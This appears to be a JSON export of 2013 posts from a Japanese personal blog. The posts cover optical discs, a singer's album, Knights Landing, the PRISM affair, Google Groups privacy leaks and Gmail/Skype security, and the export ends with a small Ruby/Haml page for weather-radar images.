として受信したりする為のアプリケーションです。今のところインストールと起動までは簡単にできるんですがそれ以外の環境構築とかが簡単にできるようになっているわけではないので、すぐに使えるというわけではないです。\r\n\r\nこういう感じに使用者に優しい Web アプリケーションの配布を考えてみましたという話です。","created_at":"2013-05-31T01:30:55.000Z","updated_at":"2013-05-31T01:30:55.000Z"},{"id":2432,"name":"text/CD とか BD とか買わない理由","body":"%blog%\r\n\r\nぼくは音楽とかをそこまで好んで消費するタイプの人間ではないので、もはや光学ディスクを読み取る装置が家に無いです。\r\n\r\nうちに残る唯一の光学ドライブだった PS3 の BD ドライブが 2 月ごろに壊れてしまったのでもうどうにもならないです。\r\n\r\n音楽のためにわざわざデバイス買う気にもならないので、ダウンロード販売されてない曲については諦めるしかないという状況で、 CD や BD などイベント参加券が入っていてそのイベントに行きたい場合とかしか買わんという風になっています。\r\n\r\nその場合にせよ光学ディスクとかはゴミでしかないので、イベント参加券だけ売ってほしいなあなんならプレミアつけてもいいからさと思う次第です。\r\n\r\nそしてぼくみたいな人間もうそこまで少数派でも無くなってきてると思うので、ダウンロード販売が無いとか、 CD にしか収録されてない曲があるとか、イベント参加券封入とかいい加減やめてほしい。。。","created_at":"2013-06-05T08:18:54.000Z","updated_at":"2013-06-05T08:18:54.000Z"},{"id":2433,"name":"text/Ray の RAYVE を買った","body":"%blog%\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00BLF6OBM\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n### 諸氏の意見\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e(・﹃・ ).。oO(Rayちゃん太ったな……)\u003c/p\u003e\u0026mdash; きさらぎ (@kisaragisara) \u003ca href=\"https://twitter.com/kisaragisara/status/343378010906427392\"\u003eJune 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eRay太った(確信\u003c/p\u003e\u0026mdash; 超(規)制艦隊 餅朗X (@mochiroh) \u003ca href=\"https://twitter.com/mochiroh/status/342649441167233024\"\u003eJune 6, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eRayのアルバム出てるとか知らんかったわ。この人太った? ≦HiTaChiJb≧\u003c/p\u003e\u0026mdash; カ)関西一括組 2日目東駐車場 (@tsumiX365) \u003ca href=\"https://twitter.com/tsumiX365/status/342536664230543360\"\u003eJune 6, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eRayちゃん太った…?\u003c/p\u003e\u0026mdash; くまこ☆6/15 TESライブ (@kuuuuma0215) \u003ca href=\"https://twitter.com/kuuuuma0215/status/341943004174626818\"\u003eJune 4, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eRay絶対太ったよなー\u003c/p\u003e\u0026mdash; ゆゆ式的なアキ (@Nana0120Aki) \u003ca href=\"https://twitter.com/Nana0120Aki/status/341941002631794688\"\u003eJune 4, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eちょこちょこ言っているけどRay太ったよね\u003c/p\u003e\u0026mdash; 偽ウメス/黒タン/ナオキ/テレ東/番犬 (@Na_0707_umesu) \u003ca href=\"https://twitter.com/Na_0707_umesu/status/341904378191560707\"\u003eJune 4, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eあれ?RAY太った?\u003c/p\u003e\u0026mdash; Hikaru Etori (@Agent_ZeroTime) \u003ca href=\"https://twitter.com/Agent_ZeroTime/status/341864408139575296\"\u003eJune 4, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eRayさんすこし太ったかなあ\u003c/p\u003e\u0026mdash; きなこもち@いつもありがとう (@kinakomoti_sho) \u003ca href=\"https://twitter.com/kinakomoti_sho/status/278447466691588097\"\u003eDecember 11, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n### 実際問題\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e今日は鷲崎さんの「I Love You」のある世界 タワレコ新宿店インストアLIVEにお客さんとして遊びに行ってきましたっ☆ 人が多すぎて端っこから見てましたw 集団くんかくんか すごく楽しかったぁぁぁ°˖✧◝(⁰▿⁰)◜✧˖° \u003ca href=\"http://t.co/nlMIHFbG\" title=\"http://twitter.com/_r__a__y__/status/209630179293802497/photo/1\"\u003etwitter.com/_r__a__y__/sta…\u003c/a\u003e\u003c/p\u003e\u0026mdash; Ray(レイ) (@_r__a__y__) \u003ca href=\"https://twitter.com/_r__a__y__/status/209630179293802497\"\u003eJune 4, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n↓\r\n\r\n![デブ](http://ssig33.com/gyazo/9a90a55ff79fe27f1ea1f8676e514d32.png)\r\n\r\n### なぜこうなったのか?\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eお友達としゃぶしゃぶ食べたった!お肉ー!(°A°三°A°) \u003ca href=\"http://t.co/UtwSzqZV\" title=\"http://twitter.com/_r__a__y__/status/279980842951008256/photo/1\"\u003etwitter.com/_r__a__y__/sta…\u003c/a\u003e\u003c/p\u003e\u0026mdash; Ray(レイ) (@_r__a__y__) \u003ca href=\"https://twitter.com/_r__a__y__/status/279980842951008256\"\u003eDecember 15, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e岩盤浴のあとは焼鳥屋さんなんだよぉー(◍╹꒵╹◍) \u003ca href=\"http://t.co/x59we4mj\" title=\"http://twitter.com/_r__a__y__/status/205987749659029504/photo/1\"\u003etwitter.com/_r__a__y__/sta…\u003c/a\u003e\u003c/p\u003e\u0026mdash; Ray(レイ) (@_r__a__y__) \u003ca href=\"https://twitter.com/_r__a__y__/status/205987749659029504\"\u003eMay 25, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e小樽 潮(うしお)祭り行ったのだよー°˖✧◝(⁰▿⁰)◜✧˖°唐揚げと、焼きほたてと、ひる貝のバター焼き!ひる貝美味しかったあ(๑′௰‵๑).+ \u003ca href=\"http://t.co/ei27sQ9Q\" title=\"http://twitter.com/_r__a__y__/status/229583451311980545/photo/1\"\u003etwitter.com/_r__a__y__/sta…\u003c/a\u003e\u003c/p\u003e\u0026mdash; Ray(レイ) (@_r__a__y__) \u003ca href=\"https://twitter.com/_r__a__y__/status/229583451311980545\"\u003eJuly 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e家族でBBQだよぉー°˖✧◝(⁰▿⁰)◜✧˖° \u003ca href=\"http://t.co/z4jVfj5l\" title=\"http://twitter.com/_r__a__y__/status/234532525341540352/photo/1\"\u003etwitter.com/_r__a__y__/sta…\u003c/a\u003e\u003c/p\u003e\u0026mdash; Ray(レイ) (@_r__a__y__) \u003ca href=\"https://twitter.com/_r__a__y__/status/234532525341540352\"\u003eAugust 12, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eNo.2 \u003ca href=\"http://t.co/eBqu7QXm\" title=\"http://twitter.com/_r__a__y__/status/254890458134753281/photo/1\"\u003etwitter.com/_r__a__y__/sta…\u003c/a\u003e\u003c/p\u003e\u0026mdash; Ray(レイ) (@_r__a__y__) \u003ca href=\"https://twitter.com/_r__a__y__/status/254890458134753281\"\u003eOctober 7, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eビタミン補給♡ \u003ca href=\"http://t.co/PRjR2dLPis\" title=\"http://twitter.com/_r__a__y__/status/324429644948439040/photo/1\"\u003etwitter.com/_r__a__y__/sta…\u003c/a\u003e\u003c/p\u003e\u0026mdash; Ray(レイ) (@_r__a__y__) \u003ca href=\"https://twitter.com/_r__a__y__/status/324429644948439040\"\u003eApril 17, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eふひひ・・・ \u003ca href=\"http://t.co/28EQADaW4O\" title=\"http://twitter.com/_r__a__y__/status/330981050257928192/photo/1\"\u003etwitter.com/_r__a__y__/sta…\u003c/a\u003e\u003c/p\u003e\u0026mdash; Ray(レイ) (@_r__a__y__) \u003ca href=\"https://twitter.com/_r__a__y__/status/330981050257928192\"\u003eMay 5, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこちらからは以上です。","created_at":"2013-06-09T15:31:19.000Z","updated_at":"2013-06-09T15:31:19.000Z"},{"id":2434,"name":"text/Knights Landing 欲しい","body":"%blog%\r\n\r\nKnights Landing がなんなのかは調べろや。\r\n\r\n単純にいって低性能なコアが 60 コアとか 120 コア直接使えるパソコンを買えるという話になります。プロセスルールが変わるので、現状の TDP とかダイサイズを維持するのであれば 80 コアとかになるかもしれない。ダイサイズが縮小されるのでホストプロセッサ化が可能になったという可能性も高いのでその辺 SKU 発表されるまで何とも言えませんが。\r\n\r\nそこで、「単純にマルチスレッド/マルチプロセス協調動作させれば高速になるのか」という話が出てきますが、そこはそう単純でも無い気がしています。問題は以下の二点です。\r\n\r\n- メモリの容量\r\n- スレッドあたりの性能の低さ\r\n\r\nメモリの容量に関しては簡単な話で、 60 個や 120 個処理が平行するわけで、何も考えずにプログラミングすればメモリ不足になる可能性は結構高い。\r\n\r\nただこれはメモリ積める限り積めば回避できる可能性は高くて、プロセッサ一つ当たり 64GB もあれば困らないんじゃないかと思っている。少なくとも現行 Knights Corner 世代のようにプロセッサあたりのメモリが決め打ちということはない。\r\n\r\nただ主記憶装置に GDDR5 や DDR4 などの高速な装置を遣えるかどうかはそのあたりよく分からなくて、 DDR3 になってしまう可能性はある。その辺実際に 2015 年になってみないと分からない。\r\n\r\nスレッドあたりの性能の低さは、既存のプログラムが何もせずに高速化するわけではないことを示している。スレッドあたりの性能が低い以上コアを全部使い切らなければかえって性能は劣化する。ちゃんと 60 とか 120 とか処理を並列にさせなければいけない。そのように処理を分割できるようなものでなければ Knights Landing には適さないということになる。\r\n\r\n結論としては、 Knights Landing 世代に至っても結局のところ専用のプログラミングが必要になるというのは否めない。しかしながら、例えば動画のエンコードであれば、動画を RAM ディスク上に展開し、 60 個に分割して 60 個平行して ffmpeg でエンコードしたあと結合すればそれでよいわけで、従来よりはるかに簡単に大量の低速コアの恩恵を受けられるようになると思う(実際はそんなにあっさりとはいかないだろうが)。\r\n\r\n現状の Knights Corner の価格をみるに、システム全体で 100 万円から 150 万円ほどの予算を見込んでおけばとりあえずの物は購入できるだろうし、非常に楽しみにしつつ貯金の計画を立てている。","created_at":"2013-06-27T01:39:34.000Z","updated_at":"2013-06-27T01:39:34.000Z"},{"id":2435,"name":"text/歴史から理解するプリズム事件","body":"%blog%\r\n\r\n### なぜ FBI なのか?\r\n\r\nプリズム事件は簡単に言うとアメリカ連邦捜査局(FBI)がアメリカ国家安全保障局(NSA)と協力し、複数の IT 企業の保有するログデータを収集していたという事件です。この事件の構造を理解するためには、アメリカの治安機関、情報機関の概要とその歴史を理解する必要がありますのでそれを簡単に解説します。\r\n\r\nまず今回の事件の重要なポイントはアメリカ中央情報局(CIA)と NSA が仕組んだ諜報工作ではないという点です。一般にアメリカでは、諜報機関が自国民を対象としたスパイ活動を行うことは厳しく制限されています。この点公安調査庁が国内組織に対する諜報活動を行うことを許可されている我が国や、憲法擁護庁が国内組織に対する諜報活動を行うことが許可されているドイツなどとは大きな違いがあると言えるでしょう。\r\n\r\nアメリカは個人の自由を極度に重視する国であったという歴史があります。ゆえに個人の自由を掣肘するアメリカ国民への諜報活動は厳しく制限されてきたのです。逆に言えばアメリカの諜報機関は外国に対する諜報活動は当然自由に行うことができます。外国人の通信を CIA と NSA が傍受することはアメリカの法律上では問題はありません(当然当該国家の法律には反することがほとんどですから露呈すると外交問題になるわけです)。\r\n\r\nこうした原則には例外があり、それは犯罪捜査の場合です。犯罪捜査とはいわば犯罪者に対するスパイ活動であると言うことができます。よって犯罪捜査の場合のみアメリカの政府機関はアメリカ国民をスパイすることができます。\r\n\r\n今回のプリズム事件の実行の主体が CIA ではなく FBI であるのはそのような理由に依拠しています。\r\n\r\n### なぜ FBI はこのような違法スレスレの捜査を行うのか?\r\n今回の事件について、諸国の報道は「個人の自由を意に介さず、官僚機構の要求にはすぐ屈する押しに弱いオバマ大統領によって仕組まれた」という論調が多いです。実際そういう側面はあるのでしょう。しかしながら今回の事件を引き起こした FBI の方針を決定されたのはブッシュ政権時代のことです。\r\n\r\nまず、プリズム事件はアメリカ連邦政府が違法な盗聴行為を働いていたという事件ではありません。あくまであらゆる盗聴は合法な行為として行われていました。今回の事件の盗聴行為は以下のようなプロセスで行われました。\r\n\r\n1. FBI と NSA は外国情報活動監視法に基づいて証拠を提出した上で、対外情報活動監視裁判所に対して令状を請求する\r\n - 外国情報活動監視法には緊急時には令状を待たずに盗聴を行うことができるという条文がありますが、その条文の適用にはさすがに慎重であったようです\r\n - さすがにこの条文が発動するのは世界大戦発生時や米国本土が直接大規模テロにさらされたときのみでしょう\r\n - 対外情報活動監視裁判所はその審理が非公開であるという点が特徴的であり、 Secret Court などとも呼ばれ、これにより日本国内では「秘密裁判所」と呼ばれることが多いようです\r\n2. 対外情報活動監視裁判所が令状を出した場合、それに基づいて IT 企業各社にログの開示を求める\r\n - 通常企業には個人情報保護義務がありますが、このプロセスに基づいて個人情報を開示した場合法的責任は問われません\r\n\r\n外国情報活動監視法に基づき FBI が国内を盗聴するのは以下のような理由に依ります\r\n\r\n- 直近ではボストンテロ事件に見られるようにアメリカ国内に在住するものが国外組織の影響でアメリカ国内でテロを行うという傾向のあること\r\n- 外国によるアメリカへのスパイ活動の摘発も FBI の担当業務であり、その為にはアメリカ人の裏切り者を探す必要のあること\r\n\r\n一般に言って通信の秘密には二つの段階があります。それは「通信が存在していたことの秘密」「通信内容の秘密」です。今回の事件では前者を侵すような令状はかなり簡単に出ていたことが報道からはうかがえますが、後者の侵害については各機関共慎重であったようです。\r\n\r\n以上のように、今回の事件はあくまで「合法な行為」の範疇として行われたわけですが、逆に言えばこうした行為を合法に行うための仕組みがアメリカには存在しているわけです。そうした仕組みが複雑かつ欺瞞的なものであることは上記の説明を読んだ人は皆感じられることであると思います。「外国情報活動監視法」という名称の法律は実際には国内を監視するための法律である時点でそれはそうだと考えます。\r\n\r\nこの外国情報活動監視法を成立させたのはブッシュ政権です(ちなみに当時上院議員だったバラク・オバマは当初この法律に批判的でしたが後に転向して賛成しています)。このようにブッシュ政権は「犯罪に対して攻性」であり、個人の自由に対しては消極的でした。\r\n\r\nこうしたブッシュ大統領の犯罪に対して攻性な性質が政策に反映されるようになった直接のきっかけは誰でも予想できることとは思いますが、 2001 年同時多発テロ事件です。\r\n\r\n2001 年同時多発テロ事件について FBI のミュラー局長から報告を受けたブッシュ大統領は当該テロ事件に関する報告には何らの興味も示さず、 FBI に対して以下のように命令しました。\r\n\r\n「そんなことはどうでもいい、次のテロを防ぐための方法を考えろ」\r\n\r\nFBI は当時は標準的な警察組織であり、基本的には「すでに起こった事件を解決する」ことに重点が置かれており犯罪・テロを防止するための組織ではありませんでした。またかつてはソ連のスパイを摘発するという予防的な機能をもつ組織でしたが冷戦の終了によりそのような組織は縮小傾向にありました。よってブッシュ大統領のそのような要求に応えることは出来ませんでした。\r\n\r\nそこでミュラー局長はカミングス特別捜査官などを中心とした新たな「犯罪に対して攻性」な組織を FBI 内部に構築しブッシュ大統領の要求に応えることにしたわけです。こうした事情によりミュラー局長は特例により「FBI の局長の任期は最大で 10 年」というルール\u003csub\u003e[1](#1)\u003c/sub\u003eを突破して FBI の局長に在任し続けています。\r\n\r\nカミングス は、イスラム教徒への重点的なスパイ活動によりテロを防止するという方針のもと行動してきました。そうした犯罪に対して攻性な捜査活動の中心となってきたのは戦略作戦班(TacOps)です。 TacOps は要するに「合法な押し込み強盗」です。プリズム事件と同じような仕組みで令状を取得した上でテロ関係者と思わしき人物やマフィア関係者の住宅に押し込み、証拠を収集してゆくわけです。\r\n\r\nTacOps の作戦能力は高く、ターゲットに気づかれず周辺住民にも気づかれずに住居に侵入し、荒らしまわった痕跡もすべて隠し撤退していきます。 TacOps の中には飼われている猫や犬に対処する技術を持ったスタッフまでいるのです。\r\n\r\nTacOps の捜査活動は FBI の公式発表の上では高い効果を上げたことになっています。こうした物理空間における違法スレスレの捜査によって自信を深めた FBI はその捜査活動の手を電子空間にも広げていくわけです。そして上記の外国情報活動監視法が成立したのは 2008 年というわけです。\r\n\r\n### FBI の発足の秘密\r\n初代局長ジョン・エドガー・フーヴァーがどんだけ異常な人物でそれによってアメリカの諜報機関や連邦権力そのものがどんだけゆがめられてきたかみたいなこと書かないとこの話終わらないんだけどそれ書くとこの記事はあと 50 倍ぐらいの内容を書かないといけないので力尽きました、そのうち書きます。\r\n\r\n### 参考文献\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=4562047836\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026Ybc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=4887217587\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nFBI の歴史を概観するには「FBI の歴史」が、 TacOps など最近の FBI の方針や組織を理解するには「FBI 秘録」がそれぞれ役に立ちます。\r\n\r\n----\r\n\r\n\u003ca name=\"1\"\u003e1.\u003c/a\u003e このルールは初代 FBI 局長ジョン・エドガー・フーヴァーが 50 年にもわたって FBI 局長に在籍しさまざまな弊害を引き起こしたことにより制定されました。しかしながらフーヴァー以後も FBI 局長はあまり人材に恵まれなかったこともあり「初めてのまともな局長」ミュラーは特別に長期間局長に在籍しているというかっこうです。ゆえに「ミュラー長期在任によるのフーヴァー化」という見解も一部報道には存在しています。","created_at":"2013-06-29T02:53:49.000Z","updated_at":"2013-06-29T02:53:49.000Z"},{"id":2436,"name":"text/退職エントリを見る度に思うんですが","body":"%blog%\r\n\r\nIT エンジニアならちゃんとこの画像をエントリに貼って頂きたい\r\n\r\n![brazil](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)","created_at":"2013-07-05T10:38:27.000Z","updated_at":"2013-07-05T10:38:27.000Z"},{"id":2437,"name":"text/EC サイトの使用を即刻辞めろ!!!","body":"%blog%\r\n\r\n要約: EC サイト運営者が Google Groups を経由して個人情報を大公開する事例が多々あります\r\n\r\n現在話題になっている以下のニュース\r\n\r\n\u003e Googleグループに残る「非公開のつもり」のメーリングリスト 公開範囲設定に注意を\r\n\u003e http://www.itmedia.co.jp/news/articles/1307/11/news045.html\r\n\r\nに関連して、いろいろと検索をして遊んでいたのですが、最初は\r\n\r\n- 会議 go.jp\r\n- 出演 交渉\r\n\r\nとかそんな感じのワードで検索して組織に関する個人情報を探し出しては喜んでいました。しかし検索ワードをちょっと工夫すると(どのように工夫するかは伏せます)、一般人の個人情報が沢山出てくることに気付きました。\r\n\r\n以下のような実態があります\r\n\r\n- 「**** という商品を買いたいのだがこれに **** は付属しているか」という問い合わせが本名つきで晒されている\r\n- オタクグッズを購入した人が住所を間違えていた為問い合わせに住所を送っていてそれが公開されている\r\n- 不在の為商品を受け取れなかったので送料を追加で振り込んだ人の本名が公開されている\r\n\r\n上記の例から分かる通り、通販サイトの運営業者が例外的なパターンについて社内向け Google Groups で討議した結果それが公開設定が間違っていて大公開されていた、という事例が多いです。\r\n\r\nただし、単に注文や発送の記録が大公開されている事例もあります。\r\n\r\nそこそこの規模っぽい企業が運営している EC サイトでもこのような形で個人情報を漏洩している実態をかなり発見しましたので、 EC サイトの利用は可能な限り控えるのが無難ではないかと思います。","created_at":"2013-07-11T07:36:41.000Z","updated_at":"2013-07-11T07:36:41.000Z"},{"id":2438,"name":"text/EC サイトの使用を即刻辞めろ!!!","body":"%blog%\r\n\r\n要約: EC サイト運営者が Google Groups を経由して個人情報を大公開する事例が多々あります\r\n\r\n現在話題になっている以下のニュース\r\n\r\n\u003e Googleグループに残る「非公開のつもり」のメーリングリスト 公開範囲設定に注意を\r\n\u003e http://www.itmedia.co.jp/news/articles/1307/11/news045.html\r\n\r\nに関連して、いろいろと検索をして遊んでいたのですが、最初は\r\n\r\n- 会議 go.jp\r\n- 出演 交渉\r\n\r\nとかそんな感じのワードで検索して組織に関する情報を探し出しては喜んでいました。しかし検索ワードをちょっと工夫すると(どのように工夫するかは伏せます)、一般人の個人情報が沢山出てくることに気付きました。\r\n\r\n以下のような実態があります\r\n\r\n- 「**** という商品を買いたいのだがこれに **** は付属しているか」という問い合わせが本名つきで晒されている\r\n- オタクグッズを購入した人が住所を間違えていた為問い合わせに住所を送っていてそれが公開されている\r\n- 不在の為商品を受け取れなかったので送料を追加で振り込んだ人の本名が公開されている\r\n\r\n上記の例から分かる通り、通販サイトの運営業者が例外的なパターンについて社内向け Google Groups で討議した結果それが公開設定が間違っていて大公開されていた、という事例が多いです。\r\n\r\nただし、単に注文や発送の記録が大公開されている事例もあります。\r\n\r\nそこそこの規模っぽい企業が運営している EC サイトでもこのような形で個人情報を漏洩している実態をかなり発見しましたので、 EC サイトの利用は可能な限り控えるのが無難ではないかと思います。","created_at":"2013-07-11T07:37:12.000Z","updated_at":"2013-07-11T07:37:12.000Z"},{"id":2439,"name":"text/機密情報をどうやりとりすればよいか","body":"%blog%\r\n\r\n\u003e [機密にGmail使うなって言ってんだろ: やまもといちろうBLOG(ブログ)](http://kirik.tea-nifty.com/diary/2013/07/gmail-8136.html)\r\n\r\nこの人の話とか反応したら負けだと思うんですが、あまりにも内容が酷いと思うので。\r\n\r\nまず Gmail が信用できないというなら何を信用しろという話になるんでしょうか。\r\n\r\n「アメリカ法人のサービスなんだから」信用できないという話ですが、現実問題としてアメリカの諜報機関がアメリカ法人のサービスを盗聴するのは[大変めんどくさい手続](http://ssig33.com/text/%E6%AD%B4%E5%8F%B2%E3%81%8B%E3%82%89%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B%E3%83%97%E3%83%AA%E3%82%BA%E3%83%A0%E4%BA%8B%E4%BB%B6)を踏んでいるわけです。\r\n\r\n一方 CIA が NSA と協力して外国の会社を盗聴するとか、 CIA が日系人の工作員を日本のサービスプロバイダに潜り込ませるとか、そういうのであればアメリカ国内法の問題は一切発生しないわけです。どちらが工作員に情報を詐取されるリスクが大きいか考えるべきだと思います。\r\n\r\nそもそも一切機密情報をメールで送るべきではありません。この点について Amazon のアプローチを参考にすべきです。 Amazon はマーケットプレイスで自分が出品した商品が発送された場合、以下のような手順で通知が行なわれます。\r\n\r\n1. Amazon からある商品が売れたから発送しろというメールが来る\r\n - このメールには購入者の個人情報など一切記載されていません\r\n2. そのメールに貼ってある URL を参照すると HTTPS なページに飛び、購入した人の情報が見られる\r\n\r\nHTTPS は通信経路が盗聴されていたとしても問題はありませんが、 POP3 や IMAP などでメールを閲覧する場合通信経路が盗聴される可能性がありますから、 Amazon はこのようなフローを採用しているわけです。\r\n\r\n「平気でSkype使って連絡取」ることを批判するのも単なる FUD でしかないです。 Skype の通信は「クライアントサイド」で暗号化される為、通信経路や Skype を運用する Microsoft で通信内容を盗聴することは不可能です(この特徴は欠点でもあり、 Skype はアプリケーションを起動していない端末への通知を行なうことができません)。\r\n\r\nSkype に関しての言及は単なる技術への無理解か FUD でしかないですし、 GMail を信用できないのであれば日常のあらゆる場所で CIA などの工作員を警戒しなければならないという話になりますし、暗号化されないメールで機密情報を送信するのが論外という点が記されていない点も話になりません。","created_at":"2013-07-12T13:32:23.000Z","updated_at":"2013-07-12T13:32:23.000Z"},{"id":2440,"name":"text/山本一郎さんからメールがきました","body":"%blog%\r\n\r\n\u003eロシアでも国内情報機関の機密情報についてアメリカ製サービスの問題だけでなく、インターネットそのものに対する信頼性が欠落しているということで対策を打っているのと同様に、日本でも安全保障や重要な行政に関わる情報についてはネットをなるだけ経由しない方法を検討するべきというのが主張です。\r\n\r\nというメールがきました。ですので[機密にGmail使うなって言ってんだろ: やまもといちろうBLOG(ブログ)](http://kirik.tea-nifty.com/diary/2013/07/gmail-8136.html)というこの記事は、日常のあらゆる箇所において外国の諜報機関の人間を警戒しなければならないような人がアホなことをしていて辛いみたいな話らしいので、皆さんにおかれましては全く関係の無い話です。","created_at":"2013-07-13T01:03:37.000Z","updated_at":"2013-07-13T01:03:37.000Z"},{"id":2441,"name":"text/山本一郎さんからメールがきました","body":"%blog%\r\n\r\n\u003eロシアでも国内情報機関の機密情報についてアメリカ製サービスの問題だけでなく、インターネットそのものに対する信頼性が欠落しているということで対策を打っているのと同様に、日本でも安全保障や重要な行政に関わる情報についてはネットをなるだけ経由しない方法を検討するべきというのが主張です。\r\n\r\nというメールがきました。ですので[機密にGmail使うなって言ってんだろ: やまもといちろうBLOG(ブログ)](http://kirik.tea-nifty.com/diary/2013/07/gmail-8136.html)というこの記事は、日常のあらゆる箇所において外国の諜報機関の人間を警戒しなければならないような人がアホなことをしていて辛いみたいな話らしいので、皆さんにおかれましては全く関係の無い話です。\r\n\r\nついでに mixi が倒産すればいいと思いました。","created_at":"2013-07-13T01:04:33.000Z","updated_at":"2013-07-13T01:04:33.000Z"},{"id":2442,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),5)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/amesh/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2013-07-14T07:47:45.000Z","updated_at":"2013-07-14T07:47:45.000Z"},{"id":2443,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),5)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e 